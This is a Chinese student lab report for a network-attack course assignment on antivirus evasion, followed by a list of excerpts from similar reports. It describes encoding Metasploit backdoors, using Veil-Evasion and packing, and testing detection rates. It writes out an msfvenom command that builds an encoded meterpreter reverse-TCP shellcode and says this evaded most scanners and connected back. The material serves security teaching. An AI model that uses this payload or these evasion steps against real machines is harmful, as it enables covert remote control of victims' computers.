关键词：
20155218《网络对抗》Exp3 免杀原理与实践
一、使用msf生成后门程序的检测
（1）将上周msf生成的后门文件放在virscan.org中进行扫描，截图如下：
（2）使用msf时对它多编码1次并进行测试
发现能发现的杀软变少；
（3）使用msf时对它多编码10次并进行测试
编码10次后，发现可以查杀的杀软数量仅仅减少了一个；
二、使用veil-evasion生成后门程序的检测
通过list查看功能，选用22命令
生成文件：
测试结果：
显而易见，效果并不理想；
三、利用shellcode编写后门程序的检测
- 使用msf生成一个shellcode；然后运行vs2017生成.exe文件，可见再生成后立刻被360发现；
- 经过virscan被5个AV扫描出，效果不理想；
尝试新的方法：```
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 10 LHOST=192.168.1.104 LPORT=4433 -f c
只有两个AV可以查杀，免杀效果不错；
并成功实现回连；
### 四、软件加壳:
软件加壳的效果并不好；
### 五、遇到的问题：
1. 
解决方法：找到错误信息的最后一个文件名，vi编译， 把出错的这行注释（加#）就可以了；
2. 使用代理安装的，有些包会下载安装失败，可以提前安装，记录下基本过程： [veil的包安装](https://blog.csdn.net/wo1769815/article/details/78770081)
20155338《网络对抗》exp3免杀原理与实践
20155338《网络对抗》Exp3免杀原理与实践实验过程一、免杀效果参考基准Kali使用上次实验msfvenom产生后门的可执行文件，上传到老师提供的网址http://www.virscan.org/上进行扫描，有48%的杀软报告病毒。二、使用msf编码器编码一次，在K... 查看详情
2017-2018-420155317《网络对抗技术》exp3免杀原理与实践
2017-2018-420155317《网络对抗技术》EXP3免杀原理与实践一、问题回答（1）杀软是如何检测出恶意代码的？（2）免杀是做什么？（3）免杀的基本方法有哪些？2.实践(1)正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，... 查看详情
20165218《网络对抗技术》exp3免杀原理与实践(代码片段)
Exp3免杀原理与实践任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧使用VirusTotal或Viscan网站扫描后门程序VirusTotalViscan免杀工具1——msfvenom使用编码器-使用msfvenom命... 查看详情
2017-2018-2《网络对抗技术》20155322exp3免杀原理与实践(代码片段)
#2017-2018-2《网络对抗技术》20155322Exp3免杀原理与实践[-=博客目录=-]1-实践目标1.1-实践介绍1.2-实践内容1.3-实践要求2-实践过程2.1-正确使用msf编码器2.2-veil-evasion2.3-组合应用技术实现免杀2.4-靶机实测2.5-基础问题回答3-资料1-实践目... 查看详情
20154307《网络对抗》exp3免杀原理与实践(代码片段)
20154307《网络对抗》Exp3免杀原理与实践一、基础问题回答（1）杀软是如何检测出恶意代码的？基于特征码的检测：杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配，就会把该程序当作恶意软件。启发式恶意软件... 查看详情
20155232《网络对抗》exp3免杀原理与实践(代码片段)
20155232《网络对抗》Exp3免杀原理与实践问题回答1.基础问题回答（1）杀软是如何检测出恶意代码的？基于特征码的检测特征码：一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据... 查看详情
2018-2019-220165114《网络对抗技术》exp3免杀原理与实践(代码片段)
Exp3免杀原理与实践目录一、实验内容二、基础问题回答(1)杀软是如何检测出恶意代码的？(2)免杀是做什么？(3)免杀的基本方法有哪些？三、实践过程记录正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用... 查看详情
2018-2019-2网络对抗技术201652287exp3免杀原理与实践(代码片段)
2018-2019-2网络对抗技术201652287Exp3免杀原理与实践**免杀**-一般是对恶意软件做处理，让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。-要做好免杀，就时清楚杀毒软件（恶意软件检测工具）是如何工作的。AV(Anti-viru... 查看详情
2018~2019-420165107网络对抗技术exp3免杀原理与实践(代码片段)
20165107Exp3免杀原理与实践实验要求1、正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，自己利用shellcode编程等免杀工具或技巧2、通过组合应用各种技术实现恶意代码免杀3、用另一电脑实测，在杀软开... 查看详情
2018-2019-2网络对抗技术20165228exp3免杀原理与实践(代码片段)
2018-2019-2网络对抗技术20165228Exp3免杀原理与实践免杀一般是对恶意软件做处理，让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。要做好免杀，就时清楚杀毒软件（恶意软件检测工具）是如何工作的。AV(Anti-virus)是... 查看详情
网络对抗exp3免杀原理与实践20154311王卓然(代码片段)
Exp3免杀原理与实践 一、基础问题回答（1）杀软是如何检测出恶意代码的？ ①基于特征码的检测：AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶... 查看详情
20165101刘天野2018-2019-2《网络对抗技术》exp3免杀原理与实践(代码片段)
20165101刘天野2018-2019-2《网络对抗技术》Exp3免杀原理与实践1.实践内容1.1正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧1.1.1使用msf编码器输入命令msfvenom-h可查看相关用法：... 查看详情
2018-2019-2网络对抗技术20165314exp3免杀原理与实践(代码片段)
免杀原理与实践说明一、实验说明任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧；(1.5分)任务二：通过组合应用各种技术实现恶意代码免杀(1分)任务三：用另一... 查看详情
2018-2019-220162318《网络对抗技术》exp3免杀原理与实践(代码片段)
一、实验内容1.正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion），加壳工具），使用shellcode编程2.通过组合应用各种技术实现恶意代码免杀（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的... 查看详情
2018-2019-2网络对抗技术20165307exp3免杀原理与实践(代码片段)
1.实践内容（3.5分）1.1正确使用msf编码器（0.5分），msfvenom生成如jar之类的其他文件（0.5分），veil-evasion（0.5分），加壳工具（0.5分），使用shellcode编程（1分）1.2通过组合应用各种技术实现恶意代码免杀(0.5分)（如果成功实现了... 查看详情
2018-2019-220165302《网络对抗技术》exp3免杀原理与实践(代码片段)
一，实验要求通过本部分内容的学习，认识到杀软局限性，提高在工作生活中对于恶意软件防范能力二，实验内容1.了解恶意软件检测机制和免杀技术的基本原理正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，... 查看详情
2018-2019-220165330《网络对抗技术》exp3免杀原理与实践(代码片段)
目录基础问题相关知识实验内容实验步骤实验过程中遇到的问题离实战还缺些什么技术或步骤？实验总结与体会实验内容正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，自己利用shellcode编程等免杀工... 查看详情
2019-2020-220175226王鹏雲《网络对抗技术》exp3免杀原理与实践(代码片段)
2019-2020-220175226王鹏雲《网络对抗技术》Exp3免杀原理与实践实验内容1.正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具、使用C+shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技... 查看详情